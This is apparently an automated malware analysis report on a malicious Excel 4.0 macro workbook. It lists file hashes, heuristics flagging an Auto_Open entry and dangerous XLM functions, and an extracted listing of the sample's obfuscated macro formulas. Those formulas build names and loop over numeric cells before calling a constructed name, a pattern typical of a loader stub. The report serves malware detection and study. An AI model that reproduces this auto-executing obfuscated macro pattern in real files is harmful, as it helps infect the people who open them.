Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 7a2012445effcb29…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-27 11:41:27 Authoring application: Microsoft Excel First seen: 2020-12-25
MD5: 3c39032db841cb5dec91a13f2f905728 SHA-1: f654ccfaa7f048ec634916d60e91b6c58f2c4055 SHA-256: 7a2012445effcb29a02be98f455289cc9b71e26a4268c8a5e4a705c2f4e55027
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6714 bytes
SHA-256: 3ed03c3e2d1b8f9649971d3291f2f5aac2c27521e8a15234544d3771fc0bdaab
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     15 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  yYglKC
' 0018     24 LABEL : Cell Value, String Constant - AFULhLTtM len=0 
' 0018     23 LABEL : Cell Value, String Constant - AHkBFISv len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!I172 
' 0018     20 LABEL : Cell Value, String Constant - bfQEK len=0 
' 0018     21 LABEL : Cell Value, String Constant - CBiFHu len=0 
' 0018     20 LABEL : Cell Value, String Constant - CmGbT len=0 
' 0018     25 LABEL : Cell Value, String Constant - CoshoBRvni len=0 
' 0018     25 LABEL : Cell Value, String Constant - dGljuKZbSn len=0 
' 0018     22 LABEL : Cell Value, String Constant - EgQyAhj len=0 
' 0018     20 LABEL : Cell Value, String Constant - FayhI len=0 
' 0018     25 LABEL : Cell Value, String Constant - GvWpibEeJO len=0 
' 0018     23 LABEL : Cell Value, String Constant - gzsoqlCk len=0 
' 0018     24 LABEL : Cell Value, String Constant - hcKVVIEaE len=0 
' 0018     22 LABEL : Cell Value, String Constant - ICeitsm len=0 
' 0018     23 LABEL : Cell Value, String Constant - irkOrCqQ len=0 
' 0018     26 LABEL : Cell Value, String Constant - iwDZfSsuWPW len=0 
' 0018     22 LABEL : Cell Value, String Constant - LubVjZY len=0 
' 0018     22 LABEL : Cell Value, String Constant - PZlMeET len=0 
' 0018     25 LABEL : Cell Value, String Constant - wrfEvJXcto len=0 
' 0018     27 LABEL : Cell Value, String Constant - YeAVqWUEtTfW len=0 
' 0018     26 LABEL : Cell Value, String Constant - yRqXVhfEHQT len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  yYglKC,I79,"SET.NAME("AHkBFISv",0+VALUE("0"))",""
'  yYglKC,I83,"SET.NAME("yRqXVhfEHQT",AHkBFISv)",""
'  yYglKC,I88,"SET.NAME("bfQEK",AHkBFISv)",""
'  yYglKC,I91,"SET.NAME("CoshoBRvni",COUNTA(wrfEvJXcto))",""
'  yYglKC,S91,"",18.00000000000000000000
'  yYglKC,S92,"",-17.00000000000000000000
'  yYglKC,I93,"SET.NAME("LubVjZY",COUNTA(FayhI))",""
'  yYglKC,S93,"",767.00000000000000000000
'  yYglKC,S94,"",241.00000000000000000000
'  yYglKC,S95,"",512.00000000000000000000
'  yYglKC,S96,"",-327.00000000000000000000
'  yYglKC,I98,[],""
'  yYglKC,I103,"SET.NAME("EgQyAhj","")",""
'  yYglKC,I105,"yRqXVhfEHQT",""
'  yYglKC,I110,"SET.NAME("CBiFHu",HLOOKUP("*",wrfEvJXcto,yRqXVhfEHQT,FALSE))",""
'  yYglKC,I113,"YeAVqWUEtTfW",""
'  yYglKC,I115,"SET.NAME("gzsoqlCk",AHkBFISv)",""
'  yYglKC,I119,[],""
'  yYglKC,I122,"gzsoqlCk",""
'  yYglKC,I125,"AFULhLTtM",""
'  yYglKC,I129,"irkOrCqQ",""
'  yYglKC,I133,"dGljuKZbSn",""
'  yYglKC,I137,"SET.NAME("CmGbT",VALUE(HLOOKUP("*",FayhI,dGljuKZbSn,FALSE)))",""
'  yYglKC,I141,"hcKVVIEaE",""
'  yYglKC,I145,"EgQyAhj",""
'  yYglKC,I147,"bfQEK",""
'  yYglKC,I149,NEXT(),""
'  yYglKC,I154,"iwDZfSsuWPW",""
'  yYglKC,I157,[],""
'  yYglKC,I160,"ICeitsm",""
'  yYglKC,I162,NEXT(),""
'  yYglKC,I167,RETURN(),""
'  yYglKC,I197,"SET.NAME("GvWpibEeJO",I79)",""
'  yYglKC,I202,"wrfEvJXcto",""
'  yYglKC,I207,"SET.NAME("FayhI",R50C11)",""
'  yYglKC,I209,"SET.NAME("ICeitsm",218)",""
'  yYglKC,I214,"SET.NAME("PZlMeET",9)",""
'  yYglKC,I217,GvWpibEeJO(),""
'  yYglKC,I218,HALT(),""